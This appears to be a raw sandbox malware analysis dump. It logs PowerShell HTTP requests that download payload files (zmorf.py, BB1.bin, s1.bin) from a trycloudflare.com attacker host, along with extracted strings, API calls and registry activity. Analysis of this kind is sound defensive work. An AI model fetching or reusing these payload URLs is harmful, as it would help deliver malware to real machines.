"http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00006572.00000001.175144.3E2BC000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00006572.00000001.175144.3E2BC000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00006572.00000001.175144.3E2BC000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00006572.00000001.175144.3E2BC000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006572.00000001.175144.3E2BC000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00006572.00000001.175144.3E2BC000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles=c:\program" - Source: "00000000-00007628.00000000.175497.78A50000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comwin32u.dllathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.msc;.cpluser32.dllslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtole32.dll:\windows\system32\advapi32.dllm32\[.dll]:\windows\system32\sechost.dll:\windows\system32\bcrypt.dllxt\bc" - Source: "00000000-00007628.00000000.175497.78A50000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.combaseurl=https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles(x86)=c:\program" - Source: "00000000-00007628.00000000.175497.78A50000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcurl_ca_bundle=c:\users\hapubws\.mitmproxy\mitmproxy-ca-cert.cer" - Source: "00000000-00007628.00000000.175497.78A50000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.com:\users\hapubws\appdata\local\xtvtsetchannelconfigpropertytsquerysessioninformationanitiatesystemshutdownexwtion:\users\hapubws\appdata\local\xt:\users\hapubws\appdata\local\xt:\windows\system\explorer.exesaenumeratelogonsessionsserdnsdomain=desktop-fvvf82a:\users\hapubws\appdata\local\xtpython\python38\python.exe??\c:\windows\system\explorer.exe:\users\hapubws\appdata\local\xtlangetavailablenetworklist:\users\hapubws\appdata\local\xt:\users\hapubws\appdata\local\xt:\users\hapubws\appdata\local\xttsenumerateprocessesexatsquerysessioninformationaryptimportpublickeyinfoex:\windows\system\explorer.exeinstationqueryinformationwtsquerysessioninformationw:\users\hapubws\appdata\local\xttsquerysessioninformationwal\xtnitiatesystemshutdownexapython\python311\python.exe:\windows\system\explorer.exeueryperformancefrequencypython\python38\python.exeserprofile=c:\users\hapubws:\windows\system\explorer.exeryptimportpublickeyinfo??\c:\windows\explorer.exe??\c:\windows\explorer.exetsenumerateprocessesexasaenumeratelogonsessionscryptopenalgorithmprovideral\xttsstartremotecontrolsessionatsregistersessionnotificationtsstartremotecontrolsessionw" - Source: "00000000-00007628.00000000.175497.78B1E000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comprocessor_identifier=intel64" - Source: "00000000-00007628.00000000.175497.78B1E000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles=c:\program" - Source: "00000000-00007628.00000000.175497.78E00000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles=c:\program" - Source: "00000000-00007708.00000000.175829.BBA20000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comwin32u.dllathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.msc;.cpluser32.dllslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtole32.dll:\windows\system32\advapi32.dllm32\" - Source: "00000000-00007708.00000000.175829.BBA20000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comprocessor_identifier=intel64" - Source: "00000000-00007708.00000000.175829.BBA20000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcurl_ca_bundle=c:\users\hapubws\.mitmproxy\mitmproxy-ca-cert.cerpathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh;.msc;.cplsslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txto5kfq" - Source: "00000000-00007708.00000000.175829.BBA20000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles(x86)=c:\program" - Source: "00000000-00007708.00000000.175829.BBA20000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.coma" - Source: "00000000-00007708.00000000.175829.BBAD4000.00000004.mdmp") Found URL "https://opposite-lodge-strict-closes.trycloudflare.comcommonprogramfiles=c:\program" - Source: "00000000-00007708.00000000.175829.BBC00000.00000004.mdmp")53:T76d,GET /xt/zmorf.py HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248 Host: opposite-lodge-strict-closes.trycloudflare.com Connection: Keep-Alive GET /xt/BB1.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248 Host: opposite-lodge-strict-closes.trycloudflare.com GET /xt/BB1.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248 Host: opposite-lodge-strict-closes.trycloudflare.com GET /xt/s1.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248 Host: opposite-lodge-strict-closes.trycloudflare.com GET /xt/s1.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248 Host: opposite-lodge-strict-closes.trycloudflare.com GET /xt/s2.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248 Host: opposite-lodge-strict-closes.trycloudflare.com GET /xt/s2.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248 Host: opposite-lodge-strict-closes.trycloudflare.com GET /G143822563.pdf HTTP/2 Host: opposite-lodge-strict-closes.trycloudflare.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56 Sec-Fetch-Mode: navigate Sec-Ch-Ua: "Microsoft Edge";v="107" "Chromium";v="107" "Not=A?Brand";v="24" Sec-Ch-Ua-Mobile: ?0 Sec-Fetch-Site: none Accept-Language: en-US en;q=0.9 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Sec-Fetch-User: ?1 Accept-Encoding: gzip deflate br Accept: text/html application/xhtml+xml application/xml;q=0.9 image/webp image/apng */*;q=0.8 application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Dest: document 54:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00003044) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00003044) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003044) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00003044) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00003044) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00003044) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00003044) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00003044) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00003044) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00003044) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00003044) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00003044) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00003044) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00003044) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00003044) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00003044) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00003044) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00003044) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00003044) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00003044)55:T10d7,file/memory contains long string with (Indicator: "zipfile"; File: "AMSI") Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003044.00000001.171730.3D100000.00000004.mdmp, 00000000-00003044.00000001.171730.3D120000.00000004.mdmp, 00000000-00003044.00000001.171730.3D140000.00000004.mdmp, 00000000-00003044.00000001.171730.3D150000.00000004.mdmp, 00000000-00003044.00000001.171730.3D180000.00000004.mdmp") Found string "md5cryptoserviceprovider" (Indicator: "md5cryptoserviceprovider"; Source: "00000000-00003044.00000001.171730.3D100000.00000004.mdmp") Found string "rijndaelmanagedtransformmode" (Indicator: "rijndael"; Source: "00000000-00003044.00000001.171730.3D100000.00000004.mdmp") Found string "rijndaelmanagedtransformmode" (Indicator: "Rijndaelmanaged"; Source: "00000000-00003044.00000001.171730.3D100000.00000004.mdmp") Found string "tobase64transform" (Indicator: "base64"; Source: "00000000-00003044.00000001.171730.3D100000.00000004.mdmp") Found string "system.security.cryptography.x509certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003044.00000001.171730.3D100000.00000004.mdmp, 00000000-00003044.00000001.171730.3D120000.00000004.mdmp, 00000000-00003044.00000001.171730.3D140000.00000004.mdmp, 00000000-00003044.00000001.171730.3D150000.00000004.mdmp, 00000000-00003044.00000001.171730.3D180000.00000004.mdmp") Found string "rngcryptoserviceprovider" (Indicator: "rngcryptoserviceprovider"; Source: "00000000-00003044.00000001.171730.3D100000.00000004.mdmp") Found string "frombase64transform" (Indicator: "base64"; Source: "00000000-00003044.00000001.171730.3D120000.00000004.mdmp") Found string "frombase64transformmode" (Indicator: "base64"; Source: "00000000-00003044.00000001.171730.3D120000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "rijndael"; Source: "00000000-00003044.00000001.171730.3D120000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "Rijndaelmanaged"; Source: "00000000-00003044.00000001.171730.3D120000.00000004.mdmp") Found string "rsacryptoserviceprovider" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00003044.00000001.171730.3D120000.00000004.mdmp") Found string "cryptostream" (Indicator: "cryptostream"; Source: "00000000-00003044.00000001.171730.3D120000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "rijndael"; Source: "00000000-00003044.00000001.171730.3D120000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "Rijndaelmanaged"; Source: "00000000-00003044.00000001.171730.3D120000.00000004.mdmp") Found string "base64formattingoptions" (Indicator: "base64"; Source: "00000000-00003044.00000001.171730.3D120000.00000004.mdmp") Found string "tripledescryptoserviceprovider" (Indicator: "tripledescryptoserviceprovider"; Source: "00000000-00003044.00000001.171730.3D120000.00000004.mdmp") Found string "cryptostreammode" (Indicator: "cryptostream"; Source: "00000000-00003044.00000001.171730.3D120000.00000004.mdmp") Found string "cryptostreammode" (Indicator: "cryptostreammode"; Source: "00000000-00003044.00000001.171730.3D120000.00000004.mdmp") Found string "rijndael" (Indicator: "rijndael"; Source: "00000000-00003044.00000001.171730.3D120000.00000004.mdmp") Found string "soapbase64binary" (Indicator: "base64"; Source: "00000000-00003044.00000001.171730.3D140000.00000004.mdmp") Found string "gzipstream" (Indicator: "GzipStream"; Source: "00000000-00003044.00000001.171730.3D140000.00000004.mdmp") Found string "base64stream" (Indicator: "base64"; Source: "00000000-00003044.00000001.171730.3D140000.00000004.mdmp") Found string "base64writestateinfo" (Indicator: "base64"; Source: "00000000-00003044.00000001.171730.3D150000.00000004.mdmp") Found string "aescng" (Indicator: "aes"; Source: "00000000-00003044.00000001.171730.3D150000.00000004.mdmp") Found string "aesbcryptmodes" (Indicator: "aes"; Source: "00000000-00003044.00000001.171730.3D150000.00000004.mdmp") Found string "system.security.cryptography.xml" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003044.00000001.171730.3D150000.00000004.mdmp") Found string "ecdsacertificateextensions" (Indicator: "ecdsa"; Source: "00000000-00003044.00000001.171730.3D150000.00000004.mdmp")56:T5c7,Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00003044.00000001.171730.B94B2000.00000002.mdmp")57:T5e3,Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00003044.00000001.171730.3D120000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00003044.00000001.171730.3D140000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00003044.00000001.171730.3D140000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00003044.00000001.171730.3D150000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00003044.00000001.171730.3D150000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00003044.00000001.171730.3D1C0000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00003044.00000001.171730.3D1C0000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00003044.00000001.171730.3D200000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00003044.00000001.171730.3D200000.00000004.mdmp") Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00005872.00000000.172076.3D120000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00005872.00000000.172076.3D140000.00000004.mdmp, 00000000-00005872.00000001.173995.3D140000.00000004.mdmp")58:T4d7,Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00003044.00000000.171357.31DD0000.00000004.mdmp, 00000000-00003044.00000001.171730.31DD0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00003044.00000000.171357.31DD0000.00000004.mdmp, 00000000-00003044.00000001.171730.31DD0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}psd1" (Indicator: "\Device\"; Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}psd1" (Indicator: "\DosDevices\"; Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}" (Indicator: "\Device\"; Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}" (Indicator: "\DosDevices\"; Source: "00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp")59:T6af,"cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "CB3A99B09FBDDC010000000000000000000000000200000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "B38D8BC79FBDDC010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "DCF253DD9FBDDC010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: ",R�") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\EXPLORER.EXE"; Value: "21AEFE4CA1BDDC010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\EXPLORER.EXE"; Value: "E1DA1E50A1BDDC010000000000000000000000000200000000")5a:T7a6,"powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT")5b:Tca0,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\PROGRAM FILES (X86)\MICROSOFT\EDGE\APPLICATION\MSEDGE.EXE"; Value: ""), "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: ""), "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: ""), "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\PY.EXE"; Value: ""), "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\XT\PYTHON.EXE"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DISABLEADAPTERDOMAINNAME"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DOMAINNAMEDEVOLUTIONLEVEL"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "APPENDTOMULTILABELNAME"; Value: ""), "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENBADTLDS"; Value: "")5c:T2311,"cmd.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2F3\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "cmd.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\CONTENT"; Key: "CACHEPREFIX"; Value: "000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\COOKIES"; Key: "CACHEPREFIX"; Value: "Cookie:") "cmd.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\HISTORY"; Key: "CACHEPREFIX"; Value: "Visited:") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "CB3A99B09FBDDC010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "411F0000000000000400040001000200010100007E339100F1D9A3007D00020000000571AE000708B8000C14B5000C3584000D7879000DA18100158AA20015E17A0016277B0016DDA400174B73001B4278001BF60B001C955C001DA16C001E8D52001F4EA8001F5D7A001FF77B0021777A00244BAB0024ACC700259960002989DF002A68A9002B2499002C3D810032D1A70036AC52003CB352003E33830041A8760042264A0048C24F0049E57D0049EAB7004AA710004AAA81004EBF72004F85B50053CE8400560A85005A5EB5006041AE00682C900069C3A3006B767D006F0B6D00726E4A007477AD0075A37E007814B00078EF6400799C39007CF788007E3391007FD189008106950081515D008227730083F1600084E683008550AE0087DE83008A8093008B5188008C0E7B008E78A20090F7AF00936DAD0093866100959B5100976AB60097748D00978EAB009BE07A009D9D9200A2050600A6D69A00A736A800A7B8AD00A90DAE00B1CE9800B3F1A200B79C1400BB8E8B00BBAE7E00BC6EB400BCFA8D00BD539800BE0CAC00C046AD00C0CC9900C36D8100C4114C00C8464E00C9389700CC495600CDBD8C00CF74AA00CFC29400D0175600D0725B00D08EAB00D19A7B00D1D2A700D3826100D3E88D00DAFF0E00DB6EA100E1C97700E21B5600E42A5E00E7997F00EBBF8400EEE17D00F17D5F00F1D9A300F1FC6000F5